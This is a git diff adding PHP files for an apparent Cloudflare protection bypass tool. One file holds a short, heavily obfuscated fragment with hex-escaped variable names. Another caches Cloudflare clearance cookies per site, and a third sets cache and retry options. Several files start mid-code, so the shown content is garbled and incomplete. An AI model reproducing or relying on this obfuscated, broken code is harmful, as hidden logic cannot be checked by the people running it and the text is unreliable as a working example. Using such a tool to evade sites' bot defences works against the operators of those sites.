diff --git a/CFBypass.php b/CFBypass.php new file mode 100644 index 0000000..2e251b9 --- /dev/null +++ b/CFBypass.php @@ -0,0 +1,2 @@ +",${${"\x47\x4c\x4f\x42\x41L\x53"}["\x76\x6c\x6fi\x78q\x78\x64\x79\x6e"]});${${"\x47LO\x42AL\x53"}["\x6cuk\x66\x6frhy\x79\x6ff"]}=explode("\x3c/div\x3e",${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x73vws\x76vsn"]}[1]);${${"G\x4c\x4f\x42\x41\x4cS"}["c\x76\x73\x6a\x6a\x62\x68\x65\x76"]}="$two[0]\n";return${${"\x47\x4c\x4f\x42A\x4c\x53"}["zf\x70vi\x75"]};} +?> \ No newline at end of file diff --git a/CFCore.php b/CFCore.php new file mode 100644 index 0000000..7b3c23d --- /dev/null +++ b/CFCore.php @@ -0,0 +1,42 @@ +cache (to Storage class) + * "max_retries" $this->max_retries (to value given) + * + * @access public + * @param array $config Config containing any of the properties above. + * @throws \ErrorException if "max_retries" IS NOT an integer + */ + public function __construct($config = array()) + { + $cache = isset($config['cache']) ? $config['cache'] : true; + $cache_path = isset($config['cache_path']) ? $config['cache_path'] : sys_get_temp_dir()."/cf-bypass"; + if ($cache === true) { + $this->cache = new Storage($cache_path); + } + // Set $this->max_retries + if (isset($config['max_retries'])) { + if (!is_numeric($config['max_retries'])) { + throw new \ErrorException('"max_retries" should be an integer!'); + } + $this->max_retries = $config['max_retries']; + } + } +} \ No newline at end of file diff --git a/Storage.php b/Storage.php new file mode 100644 index 0000000..9b1f1e3 --- /dev/null +++ b/Storage.php @@ -0,0 +1,122 @@ +path = $path; + // Suffix path with forward-slash if not done already. + if (substr($this->path, -1) !== "/") { + $this->path .= "/"; + } + $this->createBaseFolder(); + } + /** + * Create base folder path + * + * @return void + */ + public function createBaseFolder() + { + if (!is_dir($this->path)) { + if (!mkdir($this->path, 0755, true)) { + throw new \ErrorException('Unable to create Cache directory!'); + } + } + } + /** + * Returns clearance tokens from the specified cache file. + * + * @access public + * @param $site_host Site host + * @throws \ErrorException if $site_host IS empty + * @return array Clearance tokens or FALSE + */ + public function fetch($site_host) + { + if (trim($site_host) === "") { + throw new \ErrorException("Site host should not be empty!"); + } + // Construct cache file endpoint. + $file = md5($site_host); + if (!file_exists($this->path . $file)) { + if (preg_match('/^www./', $site_host)) { + $file = md5(substr($site_host, 4)); + } + } + if (file_exists($this->path . $file)) { + return json_decode(file_get_contents($this->path . $file), true); + } + return false; + } + /** + * Stores clearance tokens into a cache file in cache folder. + * + * File name: Data: + * ------------------------------------------- + * md5( file name ) {"__cfduid":"", "cf_clearance":""} + * + * @access public + * @param string $site_host site host name + * @param array $clearance_tokens Associative array containing "__cfduid" and "cf_clearance" cookies + * @throws \ErrorException if $site_host IS empty + * @throws \ErrorException if $clearance_tokens IS missing token fields, OR contains rubbish + * @throws \ErrorException if file_put_contents FAILS to write to file + */ + public function store($site_host, $clearance_tokens) + { + if (trim($site_host) === "") { + throw new \ErrorException("Site host should not be empty!"); + } + if (!( + is_array($clearance_tokens) && + isset($clearance_tokens['__cfduid']) && + isset($clearance_tokens['cf_clearance']) + )) { + throw new \ErrorException("Clearance tokens not in a valid format!"); + } + // Construct cache file endpoint. + $filename = $this->path . md5($site_host); + // Perform data retention duties. + $this->retention(); + if (!file_put_contents($filename, json_encode($clearance_tokens))) { + // Remove file if it exists. + if (file_exists($filename)) { + unlink($filename); + } + } + } + /** + * Deletes files from cache folder which are older than 24 hours. + * + * @access private + */ + private function retention() + { + if ($handle = opendir($this->path)) { + while (false !== ($file = readdir($handle))) { + // Skip special directories. + if ('.' === $file || '..' === $file || strpos($file, '.') === 0) { + continue; + } + + // Delete file if last modified over 24 hours ago. + if (time()-filemtime($this->path . "/" . $file) > 86400) { + unlink($this->path . "/". $file); + } + } + } + } +} \ No newline at end of file